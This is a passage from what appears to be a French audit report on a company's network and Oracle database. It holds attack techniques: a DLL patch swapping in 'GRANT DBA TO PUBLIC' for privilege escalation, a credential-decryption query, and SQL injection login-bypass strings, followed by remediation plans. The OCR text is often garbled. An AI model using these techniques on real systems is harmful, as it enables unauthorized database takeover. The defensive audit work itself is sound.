Les commandes utilisées ont révélé les tables pertinentes de la base de données et j’ai pu
manipuler ces tables et obtenir le mot de passe de I’administrateur du logiciel. La vulnérabilité
découverte dans cette partie est d’'une importance trés ¢levée, n’importe quel utilisateur pourra

détruire une base de données entic¢re grace aux priviléges qui lui sont assignés.

o Extension de priviléges par injection de code

Dans le cas ou I'utilisateur n’avais pas de privileges on manipule le fichier de librairie
oraclient10.dll en changeant une commande ALTER SESSION SET NLS LANGUAGE par
GRANT DBA TO PUBLIC, a la prochaine ouverture de session le code sera exécuté et

I’extension de priviléges sera acquise.

=1k

fie [Edé Semch \View Mavigste Hep

Problsm and Messages Lt

SEZR1E26220 _grant_dba_to_
5522853455353« dhb

1E26308 _kpubalt=24:
ERVBVSHZ616CTAVITEZS 1 db
615

L61DBAYS6
L&1DBEAY?3
LG1 DHEA? M4
L61DBEY
OM_SET_TIME_ZOME___ = _ EIDIRI P f:g:mz': d
L6iDESEYAD
L61DBATCE
6 L61DEAIDE
[ (7] 5] L61 DE&aA a1
[ 18R = LG61 DEEABAR

OH_SET_MLE _LANGUAGE

B publie=—

LE 28_ALTER OH_SET _HLS _LANGUAGE

Figure 0.89 : Manipulation du fichier oraclient10.dll
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Malgré 1’obtention du role DBA cet utilisateur n’a pas pu accéder aux tables systeémes

contenant les mots de passe des utilisateurs systéme car il faut obtenir les priviléges de SYS.

* oracle sQL*Plus = -18] =

File Edit Search Options Help

SOL> select credential_set_column, sysman.decrypt(credential_value) from SYSHAN.WGMT_CREDER
select credential_set_column, sysman.decrypt{credential_value) from SYSHAN.MGHT_CREDENTIALS
*

ERROR at line 1:
0RA-81831: insufficient privileges

Figure 0.90 : Accés interdit aux tables systémes

o Scanner les identificateurs faibles
On peut utiliser 1’outil checkpwd pour scanner les utilisateurs existants dans la base de
données afin de dévoiler les identifiants faibles. Ce test a repéré plusieurs identifiants dans

notre base de données, mais la plus part sont expirés et fermés.

e+ Command Prompt

=
= =

Figure 0.91 : Résultat de I’outil checkpwd

o Injection de code manipulant

Le pirate manipule la requéte en insérant un type de caractéres qui changent
I’enchainement de cette requéte et exécute une autre commande. Un exemple de requéte
typique d’une session d’identification d’un utilisateur sur un site :

SELECT * from clients where nom= "$nom"

Le pirate insert un nom tell « toto" OR I=1 -- » alors la requéte devient :

SELECT * from clients where nom= "toto"” OR 1=1 -- remarques

Cette requéte sera toujours valide et retournera la liste de tous les utilisateurs.
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Jai essayé plusieurs types de manipulation de la requéte est aucun n’a pus falsifier

I’authentification du logiciel qui retourne un message ambigu ne précisant pas quel parameétre

est erroné. Voila quelques genres de manipulation :

“or I=1--
“or 1=1--

‘a’=‘a

‘or
€« or “a”=“a

)or (‘a’=‘a)

S =

:E} ORA-01017: invalid username/password: logon denied
g LogIn o [E ]
USE[ N-E“TIE | Invalid Login
Password |
Log In Exit |

Figure 0.92 : Résultat d’authentification manipulée

Les tests d’injection par commande SQL ont permis d’identifier les vulnérabilités existantes

dans notre systéme, les utilisateurs réguliers peuvent accéder et manipuler facilement les

tables de 1’administrateur mais on n’a pas pu avoir le mot de passe des utilisateurs systéme :

SYS, SYSTEM... car les tables systémes sont sécurise méme pour ceux qui ont le réle DBA.

D’autre coté la manipulation du code dans une session d’authentification a aussi échoué ce

qui indique un bon codage d’authentification.

Plusieurs méthodes permettent d’éviter les attaques par injection de commandes SQL :

O

O

Vérification et validation des données en entrée
Messages d’erreurs implicites

Supprimer les comptes inutilisés

Limiter I’acces aux comptes réguliers

Remplacer le SQL dynamique par des procédures stockées
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c. Résultats

Les résultats des attaques effectuées au niveau de la couche application sont variés,
parfois une réussite d’acces totale comme dans 1’attaque du SE, mais d’autre fois un échec
total comme le cas des messageries ou manipulation du code sql d’authentification.
Néanmoins, on peut considérer que les données révélées sont d’une grande importance et

constituent une menace sur les ressources pertinentes de 1’entreprise.

Table 0-X : Résultats des tests de la couche Application

Date des Risques /
Vulnérabilités / Etat Résultat
tests Impact

Systémes

d’exploitation

Quelques postes sans anti-virus Etat Non
Maliciels 10/8/2010

Le reste totalement sécurisé acceptable compromis

Messagerie

Message d’erreur ambigu

) ) Accessibilité )
Application Balayage sur serveur interdit . Parfois
25/8/2010 ) parfois )
Web Captage de session HTTPS a cause de ) compromis
possible

méthode d’authentification en plein texte

Injection de

code SQL
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3.2.6.5 Récapitulation des résultats obtenus

Les résultats des tests effectués ont été signalés a la fin de chaque partie, on peut
récapituler ces résultats dans un tableau divisé par catégories pour indiquer a la direction le

classement des risques trouvés.

Table 0-XI : Classification des vulnérabilités internes et externes

Vulnérabilité internes Vulnérabilités externe
chambres insécurisées clients des restaurants
points d'accés sans fil insécurisés utilisateurs distants (messageries)

configuration par default clients des magasins
administrateurs sans mot de passe pirates sur internet

prises réseaux disponibles

employés malveillants

ordinateurs non verrouillés

faible clé wep

faible mots de passe

utilisateurs avec acces privilégié

ports communs ouverts

faibles SID (Oracle)

Il faut prioriser les problémes trouvés pour éviter de perdre le temps avec quelques
vulnérabilités difficiles a éliminer a cause des raisons techniques ou financiéres. Cette priorité

peut étre évaluée suivant deux critéres : Risques d’utilisation et Impacts d’exploitation.

Table 0-XII : Rapport Risque / Impact des vulnérabilités

Mangque de mot de passe

Points d’acces sans fil

., Chambres insécurisées Messagerie en plein texte
insécurisés o . .
. Utilisateurs avec  acces Clients
Configuration par default e
privilégié
. s, Prises réseaux
Ordinateurs non verrouillés . .
Access Internet aux Partage de fichiers publics BEpomol 2
& P Faible clé WEP

utilisateurs Employés malveillants

Faible mots de passe
Ports communs ouverts

Pirates sur internet
Personnel de nettoyage
ayant acces

Ports mnon communs
ouverts

Pas de chiffrage
Faibles SID (Oracle)
Utilisateurs distants

Anti-virus non mis-a-jour
Pare-feu désactivé

Faible
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3.3 Politique de sécurisation

Les approches correctives sont divisées selon les couches du protocole TCP/IP
discutées dans les étapes précédentes, la variation de ces niveaux assure la sécurisation du
systeme de différents angles au cas ou I’'une des mesures échoue. Le processus de sécurisation
consiste a proposer les mesures correctives, obtenir l’approbation des directeurs et

implémenter les propositions acceptées.

3.3.1 Propositions

Afin de planifier le travail a effectuer les propositions sont divisées dans un tableau

selon les taches correctives dans chaque branche.

3.3.1.1 Couche Acceés réseaux

Table 0-XIII : Solution de sécurisation au niveau de la couche Accés réseaux

Arret
-W
systéme

Ajout camera dans la chambre du serveur 400%
Ajout point de détection de mouvement Non 1h 508
Ajout détecteur de chaleur et humidité Non 6 hrs 3150%
Soulever plancher de la salle serveur Oui 10 hrs (nuit) ~ 1500$
Changement du mur en glasses pour étre rigide et Non 2 semaines 15008
opaque

Changement de I’emplacement de la chambre Non 1 mois 100008
Equipement complet de la nouvelle chambre Non 2 semaines 300009

Enregistreur + cameras

Détecteur de mouvement, chaleur et humidité +
composeur automatique

System de contrdle d’acces
Soulever plancher de la salle serveur

Rack et nouveau cablage

Changement du rack Oui 2 hrs 10008

Ajout détecteur de chaleur et humidité Non 1 jour 3150$

System de controle d’accés Non 4 hrs 3008

Isolation des appareillages dans une chambre fermée Non 1 semaine 1000$
2118 [solation des appareillages dans une chambre fermée NOn 1 semaine 50008
gg/l avec AC, camera, détecteur d’humidité et feu [site
SK
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Quelques propositions sont communes a toutes les branches, il faut vérifier toutes les prises
vides et les débranchées du réseau et il faut sensibiliser les utilisateurs par des formations a

base régulicre.

3.3.1.2 Couche Internet

Table 0-XIV : Solution de sécurisation au niveau de la couche Internet

Vulnérabilité m| Impact ' Solution |

Configuration par default Grave Grave Personnalisation des configurations
Point d’accés sans fil o
) ) ) Grave Grave Sécurisation par clé WEP complexe
insécurisé ou faible clé WEP
Large diffusion des signaux ) L L o

) Faible Grave Diminution ou élimination des diffusions
des points d’acces sans fil
Faible mots de passe Faible Moyen | Mot de passe complexe

) Désactivation des ports et protocoles
Ports commun ouverts Moyen | Faible
vulnérables

Ecoute et empoisonnement ) ) )
Moyen | Moyen | Authentification et cryptage des sessions
du trafic sur le réseau

Politiques de filtrage des paquets
Surcharge et blocage des Utiliser un IDS

Moyen | Grave )
ressources Bloquer les paquets ping volumineux au

niveau du routeur et du pare-feu.

Usurpation des requétes ) Configuration de sécurisation des ports des
Faible Grave
passantes dans le réseau commutateurs

Une durée de 2 semaines est prévue pour implémenter les solutions de cette couche dans
toutes les branches. Aucun cout n’est requis pour les solutions de modification de

configuration logicielle.

Il existe deux solutions pour I’implémentation d’un systeme IDS/IPS :

- Dispositif de Cisco ou HP coute environ 90003
- Ajout d’un module Cisco Advanced Inspection and Prevention Security Services

Module (AIP-SSM) au pare-feu coute 3500$
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3.3.1.3 Couche Transport

Vulnérabilité

Impact

Table 0-XV : Solution de sécurisation au niveau de la couche Transiort

. Ajout d’identificat désactivati

Port et service FTP ouvert Moyen | Moyen Lo . (ceniHcatents ou desactivation
du service FTP

Identificateur du protocole SNMP . CS complexe de type lire ou

M Faibl o .
commun (CS) oyen able désactivation du service SNMP
Administrateur local t d .
FHIRISHATenr foca  safis Mot e Moyen Grave | Ajout mot de passe complexe

passe (attaque SMB)

Partage de fichier public Moyen | Moyen | Annuler service de partage (SMB)
Activati -fi 1 1

Surpassement du SSL Moyen | Moyen | . ¢ 1va'1 ion des pare-feu pour bloguer les
Intrusions

Une durée de 2 semaines est prévue pour implémenter les solutions de cette couche dans

toutes les branches. Aucun cout n’est requis pour cette tache.

3.3.1.4 Couche Application

Table 0-XVI : Solution de sécurisation au niveau de la couche Application

Vulnérabilité

m Impact Solution

confidentielles dangereusement

Mots de passe faciles Moyen | Moyen | Imposer la politique de complexité
- e, Limitation des priviléges des utilisateurs

Utilisateurs privilégiés Moyen Grave . P &
réguliers

Anti-virus non mis-a-jour . Inspection de tous les postes pour

o, ] Grave Faible p . ... . 2 ..

Pare-feu désactivé activation et mis-a-jour des anti-virus

Acces internet aux utilisateurs Grave Moyen | Filtrage du trafic

Portes dérobées Moyen Grave | Surveillance des fichiers journaux

. . . Cryptage du trafic

Messagerie en plein texte Faible Grave ryp' g . .-
Sensibilisation des utilisateurs

Session d’authentification en plein . . .

texte P Moyen Grave | Cryptage des sessions d’authentification

X
e o . Filtrage des messages (spam

Utilisateurs d’e-mails distants Moyen Faible .g. . 8 ( pam)
Sensibilisation des utilisateurs

SID faciles Moyen Faible | SID complexe

Liste des utilisateurs non mis-a- Supprimer les identifiants des

) Moyen | Moyen o e

jour utilisateurs éliminés

Circulation des données System de protection et contrdle des

Grave Grave

données (right management service)

Une durée de 2 semaines est prévue pour implémenter les solutions de cette couche dans

toutes les branches. Le seul colit requis pour cette couche est le prix des licences pour le
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systéeme de protection et controle des données (Right Management Service) qui est 308 par

utilisateur. En général on a besoin de 100 licences donc, un budget de 30008$.

La sensibilisation des utilisateurs est une tache corrective valable pour toutes les couches
¢tudiées, une formation doit étre dirigée suivant chaque catégorie d’employés, en générale

elle doit englober les idées suivantes :

- Verrouiller les ordinateurs

- Mot de passe complexe

- Stockage des données confidentielles

- Partage des fichiers correctement

- Fuite de données confidentielles aux étrangers : conversations, e-mails, messagerie...
- Détruite des données avec des déchiqueteuses

- Confiance des expéditeurs avant d’ouvrir les e-mails et pieces jointes

- Teéléchargement des fichiers vulnérables de 1’internet

3.3.2 Approbation

La récapitulation des études suivis et résultats obtenus, avec la liste des politiques de
sécurisation ont été présentés a la direction de I’entreprise afin d’obtenir I’approbation aux
solutions proposées. Ces solutions ont été discutées avec la direction, quelques unes sont
accordées et d’autre éliminées pour des raisons financiéres ou fonctionnelles. Les tableaux

suivants synthétisent les réponses obtenues.
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3.3.2.1 Couche Accés réseaux

Table 0-XVII : Approbation des solutions au niveau de la couche accés réseau

Ajout camera dans la chambre 4008  Accordée

du serveur

Ajout point de détection de  50$  Pasbesoin Tous les points d’accés sont
mouvement contrdlés par des détecteurs
Ajout détecteur de chaleur et 31508  Ajournée systtme  d'alarme  incendie
humidité suffisant pour le moment

Soulever plancher de la salle 15008 Refusée  Cablage complexe, difficulté de

serveur changer I’aménagement
Changement du mur en glasses 15008 Refus¢  Pour ne pas changer [’aspect
pour étre rigide et opaque décoratif de I’endroit

Changement de I’emplacement 100008  Accordée
de la chambre
Equipement complet de la 300008 Accordée

nouvelle chambre

Changement du rack 1000$  Accordée

Ajout détecteur de chaleur et 3150% Refusée  systtme  d'alarme  incendie
humidité suffisant pour le moment

System de contrdle d’accés 3008  Accordée

Isolation des appareillages dans  1000§  Accordée
une chambre fermée

Isolation des appareillages dans 50008  Ajournée L’aménagement existant est

une chambre fermée avec AC,  /site suffisant pour le moment.
camera, détecteur d’humidité et Possibilité d’exécution en cas de
feu rénovation comme dans VR
Débrancher les prises inutilisées 0% Accordée

du réseau

Le cott total des corrections proposées au niveau de la couche accés réseau est : 57700$

On remarque qu’une grande partie est réservée pour la branche DT qui est une des deux

branches principales contenant les ressources informatiques vitales de I’organisation.
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3.3.2.2 Couche Internet

Table 0-XVIII : Approbation des solutions au niveau de la couche Internet
I S

Personnalisation des configurations

Accordée

Sécurisation par cl¢ WEP complexe

) Pas de clé pour les points d’acces publics,
Accordée ]
le réseau sera isolé

Diminution ou élimination des diffusions

Accordée | Pour les points d’acces internes

des commutateurs

Mot de passe complexe Accordée

Désactivation des ports et protocoles Quelques ports sont nécessaires pour des
Accordée i _

vulnérables services secondaires

) ) ) | Cause surcharge du trafic interne
Authentification et cryptage des sessions Pas besoin o
Déja implémenter dans le trafic externe
Filtrage ou blocage des paquets Ajout du module IDS/IPS au pare-feu
) Accordée }

Implémentation d’un IDS cisco

Configuration de sécurisation des ports Risque de surcharge des commutateurs
Accordée

Mis-a-jour réguliére des listes

Le cott total des corrections proposées au niveau de la couche internet est : 35008

3.3.2.3 Couche Transport

Table 0-XIX : Approbation des solutions au niveau de la couche Transport
S

Ajout d’identificateurs ou

désactivation du service FTP

Accordée

CS complexe de type lire ou

désactivation du service SNMP

Refusée | I’obtention réguliére des informations des postes

Le service SNMP est nécessaire pour

clients pour le contréle journalier.

Ajout mot de passe complexe pour

Unification du mot de passe complexe chez tous

les intrusions

o Accordée
I’administrateur local les postes
. . Controle par politique de domaine pour éviter
Annuler service de partage(SMB) Accordée )
I’attaque par session nulle
Activation des pare-feu pour bloquer | 1l faut tester avant si les services nécessaires
Accordée

continuent a fonctionner réguliérement

Aucun colt n’est demandé a ce niveau.
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3.3.2.4 Couche Application

Table 0-XX : Approbation des solutions au niveau de la couche Application
I -

Imposer la politique de complexité Accordée | Par les politiques de groupes (AD)

o o N Pour les utilisateurs d’oracle une étude de
Limitation des priviléges des utilisateurs ) o .
Accordée | cas détaillée sera suivie dans la partie

réguliers ]
suivante
Inspection de tous les postes pour Tache peut étre automatisée par la console
. L . Accordée L
activation et mis-a-jour des anti-virus d’administration
) Quelques modifications au filtrage existant
Filtrage du trafic Accordée
sur le pare-feu
Surveillance des fichiers journaux Accordée

Cryptage des sessions d’authentification | Accordée

) Quelques modifications au filtrage existant
Filtrage des messages (spam) Accordée
sur le pare-feu

Complexité de changer tous les SID
SID complexe Refusée )
existants

Supprimer les identifiants des )
» o Accordée = A base réguliére
utilisateurs éliminés

System de protection et contrdle des
Accordée

données (right management service)

Le cout total des mesures proposées pour les corrections au niveau de la couche application

est : 3000%

Les cofits varient suivant chaque couche, cette variation est due aux mesures de sécurisation
déja implémentées surtout au niveau de la couche transport. Les cofits élevés au niveau de la
couche acces réseaux reviennent aux travaux de rénovation surtout dans les branches

principaux.
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B Accés Réseaux
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0% Transport

H Application
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Figure 0.93 : Répartition du budget alloué aux mesures de corrections

3.3.3 Implémentation

Suite aux approbations accordées, un plan d’exécution détaillé est présenté aux membres du
département informatique pour achever les taches nécessaires dans chaque branche. Ce plan
est divisé selon les couches du protocole TCP et contient ’adresse de chaque poste
nécessitant une intervention locale, et les configurations attribuées aux périphériques du
réseau et serveurs de 1’organisation. Les tableaux suivants récapitulent les travaux effectués,

leurs durées et quelques informations a noter.

3.3.3.1 Couche Accés Réseaux

Table 0-XXI : Implémentation des solutions au niveau de la couche Accés réseaux

Ajout camera dans la chambre du serveur 1jour Achevée

Changement de I’emplacement de la chambre 2 mois  En cours

Equipement complet de la nouvelle chambre

Changement du rack 1 jour  Achevée
System de contrdle d’acces 1jour  Achevée
Isolation des appareillages dans une chambre 15 ’
. i Achevée
fermée jours
Isolation des appareillages dans une chambre 15 VR, CM
fermée avec AC, camera, détecteur d’humidité et . Achevée Bient6t dans :
ours
feu ! ABC
101 Débrancher les prises inutilisées du réseau 3 jours Achevée
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Figure 0.94 : Changement du rack dans SS

Figure 0.95 : Isolation des appareillages dans une chambre fermée dans WH
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3.3.3.2 Couche Internet

Table 0-XXII : Implémentation des solutions au niveau de la couche Internet
L seww  Jowe ] Sew [N

Personnalisation des configurations Achevée
Sécurisation par clé WEP complexe Achevée
Diminution ou élimination des diffusions Achevée
Mot de passe complexe Achevée
Désactivation des ports et protocoles 15
i Achevée
vulnérables jours
Filtrage ou blocage des paquets Ajout du module IDS au
' Achevée
Implémentation d’un IDS nouveau pare feu
Configuration de sécurisation des ports des
Achevée
commutateurs

3.3.3.3 Couche Transport

Table 0-XXIII : Implémentation des solutions au niveau de la couche Transport
I .

Ajout d’identificateurs ou

o ) Achevée
désactivation du service FTP
Ajout mot de passe complexe
o Achevée
pour I’administrateur local
Annuler service de
Achevée
partage(SMB)
5 Test des politiques de domaines dans un
. environnement virtuel avant 1’application
jours

effective.

o Quelques problémes rencontrés avec des
Activation des pare-feu pour o ) )
) ) Achevée | applications clientes exceptionnelles :
bloquer les intrusions o
serveur oracle pour le restaurant, logiciel
des portables des chauffeurs...

L’ajout des exceptions dans les politiques

a fixé ces problémes
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3.3.3.4 Couche Application

Table 0-XXIV : Implémentation des solutions au niveau de la couche Application
s e S e

Imposer la politique de complexité 1 jour Achevée

Limitation des priviléges des utilisateurs ]
) 15 jours Achevée
du domaine

Inspection de tous les postes pour )
o o o 15 jours Achevée
activation et mis-a-jour des anti-virus

Ajout de regles de filtrage

Filtrage du trafic 2 jours Achevée
sur les routeurs
Surveillance des fichiers journaux Quotidien = Achevée
Cryptage des sessions d’authentification 1 heure Achevée
) ) Ajout de régles de filtrage
Filtrage des messages (spam) 2 jours Achevée

sur le pare-feu

Supprimer les identifiants des utilisateurs

2 jours Achevée
¢liminés
) Actuellement on est dans
System de protection et controle des ) o
) 2 mois En cours | la phase d’acquisition du
données (right management service) )
produit
Limitation des priviléges des utilisateurs Etude détaillée dans la
15 jours Achevée o
d’oracle partie suivante
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Chapitre 4

Vulnérabilité d’oracle, élaboration d’une norme de sauvegarde

4.1 Probléme des utilisateurs privilégiés d’oracle

L’¢étude effectuée dans la phase d’injection de code SQL a dévoilé une vulnérabilité
grave au niveau des utilisateurs, on a découvert qu’un utilisateur régulier ayant un privilége
limité a I’intérieur des interfaces du logiciel, a aussi un privilége élevé si jamais il se connecte
par commande SQL. Cette vulnérabilité forme une menace élevée sur la base de donnée car
cet utilisateur pourra manipuler toutes les données existantes puisqu’il a ’acces d’écrire sur
cette base de donnée. Pour fixer ce probléme on doit analyser 1’état existant des méthodes
utilisées pour la création des utilisateurs et sauvegarde des données et créer une nouvelle

norme de création et sauvegarde des données.

4.1.1 Principe des bases de données d’Oracle

Une simple recherche sur le site d’Oracle nous donne une idée générale sur les
principes de base de la plateforme Oracle Database 10g qui est utilisée actuellement dans
I’organisation. Cette plateforme est un systeme de gestion de base de données d’Oracle,
caractérisé par plusieurs trais principaux:

- Des grilles de bases de données rapides, fiables et évolutives

- Optimisation de la disponibilité et accélération de la performance par la compression
des données vers des partitions de stockage peu coliteuses

- Protection de facon sécurisée les informations tout en permettant un suivi de

conformité

Lorsque de nouveaux utilisateurs sont ajoutés dans Oracle, certains droits leurs sont assignés
afin qu’ils puissent interagir directement ou par le biais des roles sur la base de données.
Chaque rdle est un ensemble de privileges qui peuvent étre accordées aux utilisateurs ou a
d'autres roles. Il existe deux types de priviléges accordés a un utilisateur:

- Privileges systéme par lequel ['utilisateur peut gérer la performance des actions de la

base de données et des objets systeme.
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- Privileges objets qui permettent d'accéder les objets, comme les tableaux, les colonnes

des tableaux, les index, les synonymes, les procédures, etc

Figure 0.1 : Procédure d’assignation des priviléges systéme
Référence: hitp://oracle.developpez.com/guide/administration/adminrole/

Figure 0.2 : Procédure d’assignation des priviléges objets
Référence: hitp://oracle.developpez.com/guide/administration/adminrole/

Un privilége est un droit pour exécuter un type particulier d'instructions SQL ou pour accéder

les objets d'un autre utilisateur. Quelques exemples de privileéges comprennent le droit de :

- Connexion a la base de données
- Création des tables
- Sélectionner des lignes de la table d'un autre utilisateur

- Exécuter une procédure stockée d'un autre utilisateur
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Les étapes a suivre pour créer un utilisateur et lui assigner ses priviléges seront :

4.1.1.1 Créer les roles

CREATE ROLE rolename IDENTIFIED BY password;

D
Figure 0.3 : Procédure de création d’un role
Référence: http://oracle.developpez.com/guide/administration/adminrole/

4.1.1.2 Assigner des priviléges sur des objets prédéfinis a ces réles

GRANT SELECT ON tablename TO rolename

4.1.1.3 Créer les utilisateurs

CREATE USER username IDENTIFIED BY password

_;| CREATE H USER IDENTIFIED

N
eJ

H TEMPORARY | TABLESPACE '——
tablespace_group_name

A DEFAULT |5 TABLESPACE [ tablespac

PROFILE profile

~[ PASSWORD H EXPIRE |

LOCK
— J

Y ()
Figure 0.4 : Procédure de création d’un utilisateur
Référence:www.stanford.edu/dept/itss/docs/oracle/10g/server.101/b10759/stateme

nts 8003.htm
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4.1.1.4 Assigner un ou plusieurs roles a chaque utilisateur

GRANT rolename TO username

Cette notion de base sur le principe de fonctionnement des bases de données d’Oracle,
notamment le processus de création d’un nouvel utilisateur et 1’accordement des priviléges

aidera par la suite la compréhension et 1’analyse du codage existant.

4.1.2 Etat existant

Afin de comprendre le probléme existant, il faut d’abord étudier le processus
actuellement utilisé pour la création des utilisateurs. On va rentrer dans le codage existant et

mettre en relief les points faibles causant les problémes d’excés de privileges.

4.1.2.1 Etapes de création d’une nouvelle base de données

- Créer une base de données initiale vide bdd a travers I’interface graphique de
’assistant de configuration et lui assigner un SID bdd
- Configurer les mots de passe des utilisateurs systéme : SYS, System...
- Connexion par I'utilisateur SYS sur SQL en insérant les paramétres suivants :
SYS/password@bdd as SYSDBA
- Créer I'utilisateur super qui sera ’administrateur d’oracle ayant tous les privileges du
role dba et qui sera le propriétaire de toutes les tables
CREATE USER super IDENTIFIED BY suppassword
GRANT dba TO super
- Importer les tables de I’utilisateur super d’une base de données modéele temp.dmp
o >imp
o > user: system@bdd
o > pass: password
o impfile> temp.dmp
- Créer le r6le macc protégé par un mot de passe pour étre accordé lors d’une
connexion réussie
CREATE ROLE macc IDENTIFIED BY maccpassword
GRANT ALL ON '||lowner||"'||table_name||' TO macc;' FROM all tables
WHERE owner = ‘SUPER';
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- Créer le r0le macc2 sans mot de passe assigné par default
CREATE ROLE macc2
GRANT create session TO macc?2
GRANT ALL ON '||lowner||""||table_name||" TO macc2;' FROM all tables
WHERE owner = ‘SUPER';

- Exécuter la fonction pubfunc.sql pour créer les synonymes des tables de super et
accorder les priviléges objet de super a I’utilisateur PUBLIC:
SPOOL ON
SELECT 'DROP PUBLIC SYNONYM '||SYNONYM _NAME ||';’
FROM ALL SYNONYMS WHERE TABLE OWNER ='super’;
SPOOL OFF
@ON.LST
SPOOL ON
SELECT 'CREATE PUBLIC SYNONYM '||NAME||' FOR SUPER.'||NAME|| ;'
FROM SYS.OBJ$ WHERE TYPE#IN (7,8,2,4,6,5) AND OWNER# =
(SELECT USER# FROM SYS.USERS WHERE NAME='super’);
SPOOL OFF
@ON.LST
SPOOL ON
SELECT 'GRANT ALL ON '||NAME)||' TO PUBLIC;'
FROM SYS.OBJ$ WHERE TYPE# IN (7,8,2,4,6,5) AND OWNER# =
(SELECT USER# FROM SYS.USER$ WHERE NAME='"super');
SPOOL OFF
@ON.LST

4.1.2.2 Configuration de la base de données créée

Jusqu'a présent la base de données est préte a étre utilisée on poursuit avec 1’utilisateur
super a travers 'interface graphique du logiciel en indiquant le code exécuté par chaque
interface.

- Changement du rédle lors de I’ouverture d’une connexion avec le logiciel
PROCEDURE CHANGE ROLES IS
TT EXEC SQL.CONNTYPE;
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TTC EXEC SQL.CURSTYPE;
RET PLS INTEGER;
BEGIN
:global.wrole := 'MACC/maccpassword';
begin
it := exec_sql.curr _connection;
ttc := exec_sql.open_cursor(tt);
exec_sql.parse(tt, ttc , 'set role macc identified by maccpassword');
ret := exec_sql.execute(tt, ttc);
exec_sql.close cursor(tt, ttc),
exec_sql.close_connection(tt) ;
exception when exec_sql.package_error then dbg('error’);
end;

END;

- Créer un utilisateur régulier
PROCEDURE create_user (WXUSER VARCHAR?2) IS
wuser varchar2(15);
wpwd varchar2(15);
wdb varchar2(15);
wemd  varchar2(300);
begin
wuser := upper(get_application_property(USERNAME));
wpwd := upper(get_application_property(PASSWORD));
wdb := upper(get_application_property(CONNECT STRING));
wemd := 'grant connect , resource to '||\wxuser||’ identified by '||:wpassword;
exec(wemd);
wemd (=" grant macc to '||\wxuser;
exec(wemd),
wemd := " grant macc2 to '||wxuser;
exec(wemd),
wemd (= ‘alter user '||:wusername||' default role macc?2
exec(wemd);

begin
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update sys_user profile
set user_pwd = :wpassword ,
full name = :fullname
where user_id = wxuser;
if sql%notfound then
begin
insert into sys_user_profile
(USER _ID, USER_PWD , FULL NAME )
VALUES ( WXUSER , :WPASSWORD, :FULLNAME );
end;
end if;
end;

end;

Attacher 1’utilisateur a une branche

PROCEDURE att_user _branch IS
BEGIN
first record;
while :systab.ot_code is not null loop
begin
insert into sys_user profile (USER_ID, USER PWD, USER LEVEL,
FULL NAME , SOCCODE, BRACODE, OUTLET, USER_FLAG )
VALUES ( :USER_ID, :USER_PWD , nvl(:USER_LEVEL,10) ,
nvl(:systab.FULL NAME , :systab.user id ) , :systab.soccode,
:systab.ot_branch , :systab.ot _code, :systab.user flag ),
end;
begin
insert into systab (soccode,stappcode,stoffcode,stcode,
stlename,stsename,stsaname,stpoint,stvalue,stref’)
select :global.majorcc ,"MS',"USR’, :systab.user_id ,:systab.full name,
", :systab.soccodel|:systab.ot_branch,
:systab.soccodel||:systab.ot_branch , :user level , :systab.ot code
from dual;

end;
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next_record,

end loop;
COMMIT FORM;
END;

- Lui ouvrir les options utilisées dans le logiciel : facturation, recherche de stock...
PROCEDURE committo IS
BEGIN
if :system.cursor_block = "USR' then
first record;
while :stcode is not null loop
if :usr.accord = 'N' then
begin
delete from super.sysusr
where usrnom = :usr.stcode
and appniv = :lvl.wappniv
and soccode = :wsoc;
end;
else
if :savacc !="Y" then
insert into super.sysusr values (-usr.stcode, :Ivl.wappniv , :wsoc);
end if;
end if;
next_record,
end loop;
end if;
END;

- Synchroniser les données entres plusieurs base de données.
o Préparer le fichier des données mis a jour réguliérement de la branche actuelle
EXP %2/%2%3 file=%1
TABLES=(TRF SYSTAB,TRF FGART,TRF FGARTDEP,TRF FGFOU,TRF
FGMVC,TRF FGOUTLET,TRF FGCLI,TRF FGENT,TRF FGCOUP,TRF
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ACCRAT,TRF FGCONS,TRF FGCLI MRG,TRF FGCHK,TRF FGVAT,TRF
_FGCLISWP,trf fgdiscount) LOG=%1

o Importer le fichier des données mis a jour des autres branches préparé dans la
branche principale

IMP %3/%4% )3 file=%1 FULL=Y IGNORE=Y LOG=%1 TOUSER=SUPER

Les parametres sont :
%3 : nom de I’utilisateur
%4 : mot de passe

%S5 : chemin vers le fichier a importer

4.2 Analyse et Nouvelle norme de sauvegarde

Signalons d’abord que la vulnérabilité initiale existante est la présence de I’interface
SQL qui peut permettre a un utilisateur quelconque de se connecter a la base de données avec
des priviléges ¢€levés. Donc il faut annuler I’installation de cette interface au début de la
configuration du logiciel chez les postes des utilisateurs et s’assurer que toutes les

fonctionnalités du logiciel continuent a fonctionner normalement.

Les vulnérabilités existantes dans le codage d’oracle ont ét¢ mis en relief en rouge et gras

dans les parties précédentes, analysons chacune en détail :

4.2.1 Exces de priviléges pour super et nouvelle norme de sauvegarde

GRANT dba TO super

Début des problémes par cette commande, on assigne tous les priviléges systéme et
objets a I'utilisateur super. Ces privileges ne doivent jamais étre assignés a un utilisateur
méme si c’est I’administrateur du logiciel, Si jamais cet utilisateur est compromis toute la
base de données est en danger. Ou si un administrateur du systéme 1’utilise incorrectement il

risque de manipuler les objets systéme de la base de données.

La solution consiste a ¢éliminer 1’assignation du rdle dba a super qui aura seulement des
priviléges objets sur ses propres objets : tables, procédures. Dans le cas ou on aura besoin des

priviléges systeme on utilise momentanément les priviléges de 1’utilisateur SYS qui a par
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default le role sysdba. On ajoute par exemple dans le processus de création des utilisateurs
dans lequel on doit accorder a 1’utilisateur créé le privilége de connexion et les roles macc et

macc?2 appartenant au systéme, le code de connexion temporaire avec 1’utilisateur system.

PROCEDURE create_user (WXUSER VARCHAR?2) IS

wuser varchar2(15);

wpwd varchar2(15);

wdb varchar2(15);

wemd  varchar2(300);
begin

wuser .= upper(get_application_property(USERNAME)),
wpwd := upper(get_application_property(PASSWORD)),
wdb = upper(get_application property(CONNECT STRING)),
LOGOUT;

IF WDB IS NULL

THEN logon ('system',:syspasswd) ;

ELSE logon ('system',:syspasswd||'@'||wdb ) ;

END IF;

wemd (= 'grant connect , resource to '||\wxuser||" identified by '||:-wpassword;
exec(wemd),
wemd (=" grant macc to '||\wxuser;

exec(wemd),
wemd =" grant macc2 to '||wxuser;

exec(wemd),
wemd = ‘alter user '||:wusernamel|’ default role macc?2
exec(wemd);
LOGOUT;
IF WDB IS NULL

THEN logon (wuser ,wpwd ) ;

ELSE logon (wuser ,wpwd ||'@'||wdb ) ;
END IF;
begin
update sys_user profile

set user_pwd = :wpassword ,
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full name = :fullname
where user id = wxuser;
if sql%notfound then
begin
insert into sys_user profile
(USER _ID, USER_PWD , FULL NAME)
VALUES ( WXUSER , :WPASSWORD, :FULLNAME );
